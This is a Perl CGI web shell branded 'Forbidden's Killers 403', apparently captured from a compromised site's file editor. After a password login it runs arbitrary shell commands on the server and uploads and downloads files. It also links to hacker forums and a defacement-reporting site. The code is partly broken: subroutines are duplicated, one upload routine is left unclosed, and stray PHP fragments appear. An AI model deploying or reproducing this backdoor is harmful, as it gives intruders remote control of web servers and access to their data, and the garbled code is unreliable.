관리-도구

편집 파일: zero.ww

#!/usr/bin/perl -I/home/hamstcom/public_html/cgi-bin/403.sa
#------------------------------------------------------------------------------
# Copyright (C) 2010 FoRB!ddeN's KiLLeRs
#
# EdiT3R: Dollar
# EdiT3R e-mail: G36@hotmail.com
# Author Homepage: http://www.ksa-4.com/
# My Group : Forbidden's Killers
# Greetz : Dollar   =-    KaKa
#------------------------------------------------------------------------------
$Password = "503";

$WinNT = 0;

$NTCmdSep = "&";

$UnixCmdSep = ";";

$CommandTimeoutDuration = 10;

$ShowDynamicOutput = 1;

$CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
$CmdPwd = ($WinNT ? "cd" : "pwd");
$PathSep = ($WinNT ? "\\" : "/");
$Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");

sub ReadParse 
{
	local (*in) = @_ if @_;
	local ($i, $loc, $key, $val);
	
	$MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;

if($ENV{'REQUEST_METHOD'} eq "GET")
	{
		$in = $ENV{'QUERY_STRING'};
	}
	elsif($ENV{'REQUEST_METHOD'} eq "POST")
	{
		binmode(STDIN) if $MultipartFormData & $WinNT;
		read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
	}

if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
	{
		$Boundary = '--'.$1; 
		@list = split(/$Boundary/, $in); 
		$HeaderBody = $list[1];
		$HeaderBody =~ /\r\n\r\n|\n\n/;
		$Header = $`;
		$Body = $';
 		$Body =~ s/\r\n$//; 
		$in{'filedata'} = $Body;
		$Header =~ /filename=\"(.+)\"/; 
		$in{'f'} = $1; 
		$in{'f'} =~ s/\"//g;
		$in{'f'} =~ s/\s//g;

for($i=2; $list[$i]; $i++)
		{ 
			$list[$i] =~ s/^.+name=$//;
			$list[$i] =~ /\"(\w+)\"/;
			$key = $1;
			$val = $';
			$val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
			$val =~ s/%(..)/pack("c", hex($1))/ge;
			$in{$key} = $val; 
		}
	}
	else 
	{
		@in = split(/&/, $in);
		foreach $i (0 .. $#in)
		{
			$in[$i] =~ s/\+/ /g;
			($key, $val) = split(/=/, $in[$i], 2);
			$key =~ s/%(..)/pack("c", hex($1))/ge;
			$val =~ s/%(..)/pack("c", hex($1))/ge;
			$in{$key} .= "\0" if (defined($in{$key}));
			$in{$key} .= $val;
		}
	}
}

sub PrintPageHeader
{
	$EncodedCurrentDir = $CurrentDir;
	$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
	print "Content-type: text/html\n\n";
	print <<END;
	
	
<html>
<head>
<title> ::+:: ForB!ddeN's K!LLeRs ::+:: </title>
$HtmlMetaHeader
</head>
<style>
BODY { SCROLLBAR-BASE-COLOR: #191919; SCROLLBAR-ARROW-COLOR: olive; }
textarea{background-color:#191919;color:red;font-weight:bold;font-size: 12px;font-family: Tahoma; border: 1px solid #666666;}
input{FONT-WEIGHT:normal;background-color: #191919;font-size: 13px;font-weight:bold;color: red; font-family: Tahoma; border: 1px solid #666666;height:17}
</style>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="82" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
	<tr>
<td bgcolor="#808080" bordercolor="#990000" align="center" width="48%" height="32">
	<a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none">
	--[ 
	F0rB!ddeN's K!LLeRs 
	
	|
	
	
	P3rL 1.0
	
	]--</td>
	</tr>
	<tr>
	<a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none">
	<td width="48%" height="51" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px" bordercolorlight="#DADADA" bordercolordark="#C0C0C0" bordercolor="#D9D9D9">
	
	--[ 
	 
	c0nn3cT3d To 
	]<a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none">-- 
	=-= 
	--[
			
	
			$ServerName
			
	<a bookmark="minipanel" style="font-weight: normal; font-family: verdana; text-decoration: none">
			]--</a></a></a></a>
	<center>
	<center>
	<form method="POST">
		<input type=hidden name=act value="mkfile" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #800000">
		<input type=hidden name="d" value="<?php echo $dispd; ?>" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #800000">
	</form></center></center></td></tr></table>
	
	<a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none; background-color: #C0C0C0" href="$ScriptLocation?a=home">
	
	h0m3</a> 
	| 
	
	<a href="$ScriptLocation?a=kasber">c0d3r</a> 
	| 
	<a href="http://www.sa-hacker.com/vb">
	s4-h4ck3r</a> 
	| <a href="$ScriptLocation?a=zone">
	z0n3-H</a> 
	| 

	<a href="http://www.sa-hacker.com/vb/perl">
	UpGr4d3</a> 
	| 
 
<a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">
UpLo4d F!le</a> 
	| <a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">
D0wnLo4d F!Le</a> | 

<a href="$ScriptLocation?a=logout">D!sc0nn3cT</a>
<body onLoad="document.f.@_.focus()" bgcolor="#000000" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
<div align="center">
	<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="14" width="93%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
		<tr><a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none">
			<td width="97%" height="14" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px" bordercolorlight="#DADADA" bordercolordark="#C0C0C0" bordercolor="#D9D9D9">

END
}

sub PrintLoginScreen
{
	$Message = q$
<div align="center">
	<pre>#-------------------------------------------------------------------------------------------#
| Forbidden's Killers |
| |
| 403 |
| |
| By : Dr.KAsBeR |
| |
#-------------------------------------------------------------------------------------------#
| WebSite : WwW.Sa-HaCKeR.CoM |
#-------------------------------------------------------------------------------------------#
| Greetz To : My Group - ABO adaai - MooT HaCkEr - NaiF KSA |
#-------------------------------------------------------------------------------------------#</div>

</html>
$;
#'
	print <<END;
<code>$Message
END
}

sub PrintLoginFailedMessage
{
	print <<END;
<code>
&nbsp;
#--------------------------------------------------------------------------------------------------#

OoPs !!! = Wr0nG P4sSw0rD

Try Again
#--------------------------------------------------------------------------------------------------#
 
&nbsp;
</code>
END
}

sub PrintLoginForm
{
	print <<END;
<code>
<body>

<form name="f" method="POST" action="$ScriptLocation">
<input type="hidden" name="a" value="login">

InT3r 
Th3 
PaSSw0rD
 

 &nbsp;<input type="password" name="p" size="38">
<input type="submit" value="Enter">

</form>
</code>
END
}

sub PrintPageFooter
{
	print <<END;
<code>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr>
	<td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px">
	
	--[ 403 
	| 
	<a href="http://sa-hacker.com" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none">
	http://sa-hacker.com</a> | 403 ]--</td></tr></table>
</code>
END
}

sub GetCookies
{
	@httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
	foreach $cookie(@httpcookies)
	{
		($id, $val) = split(/=/, $cookie);
		$Cookies{$id} = $val;
	}
}

sub home
{
        &PrintPageHeader("p");
        &PrintCommandLineInputForm;
		&PrintPageFooter;
END
}

sub zone
{
	print <<END;
<code>

<IFRAME WIDTH="915" HEIGHT="978" SRC="http://www.zone-h.org/notify/single"></IFRAME>

END
}

sub kasber
{
	print <<END;
<code>
&nbsp;
&nbsp;
<table border="1" width="100%" cellspacing="0" cellpadding="2" height="59">
<tr>
<td bgcolor="#808080" bordercolor="#990000" align="center" width="3%" height="32">
<table border="1" width="100%" cellspacing="0" cellpadding="2" height="59">
<tr>
<td bgcolor="#808080" bordercolor="#990000" align="center" width="3%" height="32">
Ed!T c0d3 By Dr.KAsBeR</td>
</tr>
<tr>
<td bgcolor="#C0C0C0" height="25">
My Email
:
Dr.KAsBeR403 [at] GmaiL [dot] CoM

Gr33tZ To
: Dr.DaShEr
+ NeX
+ RmZ AlJnOoP</td>
</tr>
</table>
</td>
</tr>
</table>
&nbsp;
&nbsp;
			
</code>
END
}

sub PrintLogoutScreen
{
	print "<code>Connection are closed by The Perl</code>";
}

sub kasber
{
	&PrintPageHeader("p");
	print <<END;
<code>
&nbsp;
&nbsp;
<table border="1" width="100%" cellspacing="0" cellpadding="2" height="59">
<tr>
<td bgcolor="#808080" bordercolor="#990000" align="center" width="3%" height="32">
<table border="1" width="100%" cellspacing="0" cellpadding="2" height="59">
<tr>
<td bgcolor="#808080" bordercolor="#990000" align="center" width="3%" height="32">
Ed!T c0d3 By Dr.KAsBeR</td>
</tr>
<tr>
<td bgcolor="#C0C0C0" height="25">
My Email
:
Dr.KAsBeR403 [at] GmaiL [dot] CoM

Gr33tZ To
: Dr.DaShEr
+ NeX
+ RmZ AlJnOoP</td>
</tr>
</table>
</td>
</tr>
</table>
&nbsp;
&nbsp;
</code>
END
}

sub zone
{
	&PrintPageHeader("p");
	print <<END;
<code>

<IFRAME WIDTH="915" HEIGHT="978" SRC="http://www.zone-h.org/notify/single"></IFRAME>

</code>
END
}

sub PerformLogout
{
	print "Set-Cookie: SAVEDPWD=;\n"; 
	&PrintPageHeader("p");
	&PrintLogoutScreen;
	&PrintLoginScreen;
	&PrintLoginForm;
	&PrintPageFooter;
}

sub PerformLogin 
{
	if($LoginPassword eq $Password) 
	{
		print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
		&PrintPageHeader("c");
		&PrintCommandLineInputForm;
		&PrintPageFooter;
	}
	else # password didn't match
	{
		&PrintPageHeader("p");
		&PrintLoginScreen;
		if($LoginPassword ne "") 
		{
			&PrintLoginFailedMessage;
		}
		&PrintLoginForm;
		&PrintPageFooter;
	}
}

sub PrintCommandLineInputForm
{
	$Prompt = $WinNT ? "$CurrentDir> " : "[403\@$ServerName $CurrentDir]\$ ";
	print <<END;
<code>
<form name="f" method="POST" action="$ScriptLocation">
<input type="hidden" name="a" value="command">
<input type="hidden" name="d" value="$CurrentDir">
&nbsp;

$Prompt
<input type="text" name="c" size="40">


<input type="submit" value="Enter">

</form>
</code>
END
}

sub PrintFileDownloadForm
{
	$Prompt = $WinNT ? "$CurrentDir> " : "[403\@$ServerName $CurrentDir]\$ ";
	print <<END;
<code>
<body>

$Prompt download

Filename:

Download:

<input type="submit" value="Begin">

</form>
</code>
END
}

sub PrintFileUploadForm
{
	$Prompt = $WinNT ? "$CurrentDir> " : "[403\@$ServerName $CurrentDir]\$ ";
	print <<END;
<code>

<form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
$Prompt upload

Filename:

<a bookmark="minipanel" style="font-weight: normal; color: #dadada; font-family: verdana; text-decoration: none">
<input type="file" name="f0" size="35"></a> 
Options: &nbsp;<input type="checkbox" name="o" value="overwrite" checked>

Overwrite if it Exists

Upload:&nbsp;&nbsp;&nbsp;<input type="submit" value="Begin">
<input type="hidden" name="d" value="$CurrentDir">
<input type="hidden" name="a" value="upload">

</form>
</code>
END
}

sub CommandTimeout
{
	if(!$WinNT)
	{
		alarm(0);
		print <<END;
</xmp>
<code>
Command exceeded maximum time of $CommandTimeoutDuration second(s).
 Killed it!
<code>
END
		&PrintCommandLineInputForm;
		&PrintPageFooter;
		exit;
	}
}

sub ExecuteCommand
{
	if($RunCommand =~ m/^\s*cd\s+(.+)/) 
	{
		# we change the directory internally. The output of the
		# command is not displayed.
		
		$OldDir = $CurrentDir;
		$Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
		chop($CurrentDir = `$Command`);
		&PrintPageHeader("c");
		$Prompt = $WinNT ? "$OldDir> " : "[403\@$ServerName $OldDir]\$ ";
		print "<code>$Prompt $RunCommand</code>";
	}
	else # some other command, display the output
	{
		&PrintPageHeader("c");
		$Prompt = $WinNT ? "$CurrentDir> " : "[403\@$ServerName $CurrentDir]\$ ";
		print "<code>$Prompt $RunCommand</code><xmp>";
		$Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
		if(!$WinNT)
		{
			$SIG{'ALRM'} = \&CommandTimeout;
			alarm($CommandTimeoutDuration);
		}
		if($ShowDynamicOutput) 
		{
			$|=1;
			$Command .= " |";
			open(CommandOutput, $Command);
			while(<CommandOutput>)
			{
				$_ =~ s/(\n|\r\n)$//;
				print "$_\n";
			}
			$|=0;
		}
		else 
		{
			print `$Command`;
		}
		if(!$WinNT)
		{
			alarm(0);
		}
		print "</xmp>";
	}
	&PrintCommandLineInputForm;
	&PrintPageFooter;
}

sub PrintDownloadLinkPage
{
	local($FileUrl) = @_;
	if(-e $FileUrl) 
	{

$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
		$DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
		$HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
		&PrintPageHeader("c");
		print <<END;
<code>
Sending File $TransferFile... 
If the download does not start automatically,
<a href="$DownloadLink">Click Here</a>.
</code>
END
		&PrintCommandLineInputForm;
		&PrintPageFooter;
	}
	else # file doesn't exist
	{
		&PrintPageHeader("f");
		print "<code>Failed to download $FileUrl: $!</code>";
		&PrintFileDownloadForm;
		&PrintPageFooter;
	}
}

sub SendFileToBrowser
{
	local($SendFile) = @_;
	if(open(SENDFILE, $SendFile)) 
	{
		if($WinNT)
		{
			binmode(SENDFILE);
			binmode(STDOUT);
		}
		$FileSize = (stat($SendFile))[7];
		($Filename = $SendFile) =~ m!([^/^\\]*)$!;
		print "Content-Type: application/x-unknown\n";
		print "Content-Length: $FileSize\n";
		print "Content-Disposition: attachment; filename=$1\n\n";
		print while(<SENDFILE>);
		close(SENDFILE);
	}
	else 
	{
		&PrintPageHeader("f");
		print "<code>Failed to download $SendFile: $!</code>";
		&PrintFileDownloadForm;
		&PrintPageFooter;
	}
}

sub BeginDownload
{

if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
		(!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
	{
		$TargetFile = $TransferFile;
	}
	else 
	{
		chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
		$TargetFile .= $PathSep.$TransferFile;
	}

if($Options eq "go") 
	{
		&SendFileToBrowser($TargetFile);
	}
	else 
	{
		&PrintDownloadLinkPage($TargetFile);
	}
}

sub UploadFile
{
	
	if($TransferFile eq "")
	{
		&PrintPageHeader("f");
		&PrintFileUploadForm;
		&PrintPageFooter;
		return;
	}
	&PrintPageHeader("c");

print "<code>Uploading $TransferFile to $CurrentDir... ";

chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
	$TransferFile =~ m!([^/^\\]*)$!;
	$TargetName .= $PathSep.$1;

$TargetFileSize = length($in{'filedata'});

if(-e $TargetName && $Options ne "overwrite")
	{
		print "Failed: Destination file already exists. ";
	}
	else # file is not present
	{
		if(open(UPLOADFILE, ">$TargetName"))
		{
			binmode(UPLOADFILE) if $WinNT;
			print UPLOADFILE $in{'filedata'};
			close(UPLOADFILE);
			print "Transfered $TargetFileSize Bytes. ";
			print "File Path: $TargetName ";
		}
		else
		{
			print "Failed: $! ";
		}
	}
	print "</code>";
	&PrintCommandLineInputForm;
	&PrintPageFooter;
}

sub UploadFile
{
	
	if($TransferFile eq "")
	{
		&PrintPageHeader("f");
		&PrintFileUploadForm;
		&PrintPageFooter;
		return;
	}
	&PrintPageHeader("c");

print "<code>Uploading $TransferFile to $CurrentDir... ";

chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
	$TransferFile =~ m!([^/^\\]*)$!;
	$TargetName .= $PathSep.$1;

$TargetFileSize = length($in{'filedata'});

sub DownloadFile
{

if($TransferFile eq "")
	{
		&PrintPageHeader("f");
		&PrintFileDownloadForm;
		&PrintPageFooter;
		return;
	}

if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
		(!$WinNT & ($TransferFile =~ m/^\//))) 
	{
		$TargetFile = $TransferFile;
	}
	else 
	{
		chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
		$TargetFile .= $PathSep.$TransferFile;
	}

if($Options eq "go") 
	{
		&SendFileToBrowser($TargetFile);
	}
	else 
	{
		&PrintDownloadLinkPage($TargetFile);
	}
}

&ReadParse;
&GetCookies;

$ScriptLocation = $ENV{'SCRIPT_NAME'};
$ServerName = $ENV{'SERVER_NAME'};
$LoginPassword = $in{'p'};
$RunCommand = $in{'c'};
$TransferFile = $in{'f'};
$Options = $in{'o'};

$Action = $in{'a'};
$Action = "login" if($Action eq "");

$CurrentDir = $in{'d'};
chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");

$LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;

if($Action eq "login" || !$LoggedIn) 
{
	&PerformLogin;
}
elsif($Action eq "command") 
{
	&ExecuteCommand;
}
elsif($Action eq "upload") 
{
	&UploadFile;
}
elsif($Action eq "download") 
{
	&DownloadFile;
} 
elsif($Action eq "kasber") 
{
	&kasber;
}
elsif($Action eq "zone") 
{
	&zone;
}
elsif($Action eq "home") 
{
	&home;
}
elsif($Action eq "logout") 
{
	&PerformLogout;
}